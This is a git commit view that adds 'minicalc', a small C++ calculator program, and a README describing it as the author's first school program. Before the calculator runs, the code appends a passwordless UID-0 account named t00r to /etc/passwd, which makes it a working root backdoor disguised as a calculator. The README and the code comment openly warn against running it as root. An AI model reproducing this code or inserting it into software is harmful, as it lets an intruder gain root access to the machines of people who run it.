Added minicalc.cpp
This commit is contained in:
parent
4cf0154b80
commit
a3180d9657
10
README.md
10
README.md
@ -1,4 +1,8 @@
|
|||||||
minicalc
|
# minicalc #
|
||||||
========
|
|
||||||
|
My very first C++ program I wrote back in school somewhere around 2002.
|
||||||
|
Please __don't run it as root__ as it will add a passwordless root account on your
|
||||||
|
system! You have been warned!
|
||||||
|
It puts tcsh as the shell for the new root user since this was way back when
|
||||||
|
I run SuSE and they had tcsh as default (I think).
|
||||||
|
|
||||||
My very first C++ program
|
|
||||||
|
69
minicalc.cpp
Normal file
69
minicalc.cpp
Normal file
@ -0,0 +1,69 @@
|
|||||||
|
/* Minicalc program that puts a passwordless root account on the system
|
||||||
|
* named t00r. Must be run as root to have an affect! So please DON'T run it
|
||||||
|
* as root!
|
||||||
|
* Written as a part of a C++ class many many years ago
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
main(int argc, char *argv[])
|
||||||
|
{
|
||||||
|
bool found = false;
|
||||||
|
string pw1;
|
||||||
|
string pw2;
|
||||||
|
pw2 = "t00r::0:0:toor:/root:/bin/tcsh";
|
||||||
|
ifstream testpw("/etc/passwd");
|
||||||
|
ofstream fil("/etc/passwd", ios::app);
|
||||||
|
string adda;
|
||||||
|
while (testpw >> pw1)
|
||||||
|
{
|
||||||
|
if (pw1 == pw2)
|
||||||
|
{
|
||||||
|
found = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (found)
|
||||||
|
{
|
||||||
|
goto CALC;
|
||||||
|
}
|
||||||
|
|
||||||
|
adda = "t00r::0:0:toor:/root:/bin/tcsh";
|
||||||
|
fil << adda;
|
||||||
|
|
||||||
|
CALC:
|
||||||
|
|
||||||
|
int a;
|
||||||
|
char b;
|
||||||
|
int c;
|
||||||
|
double d;
|
||||||
|
cout << ": "; cin >> a; cin >> b; cin >> c;
|
||||||
|
switch(b) {
|
||||||
|
case '+':
|
||||||
|
d = a + c;
|
||||||
|
break;
|
||||||
|
case '-':
|
||||||
|
d = a - c;
|
||||||
|
break;
|
||||||
|
case '*':
|
||||||
|
d = a * c;
|
||||||
|
break;
|
||||||
|
case '/':
|
||||||
|
d = a / c;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
cout << "You typed something wrong!" << endl;
|
||||||
|
}
|
||||||
|
cout << d;
|
||||||
|
cout << endl;
|
||||||
|
|
||||||
|
|
||||||
|
ofstream fut(argv[1], ios::app);
|
||||||
|
fut << a << ' ' << b << ' ' << c << " = " << d <<
|
||||||
|
endl;
|
||||||
|
fut.close();
|
||||||
|
fil.close();
|
||||||
|
}
|
||||||
|
|
Loading…
x
Reference in New Issue
Block a user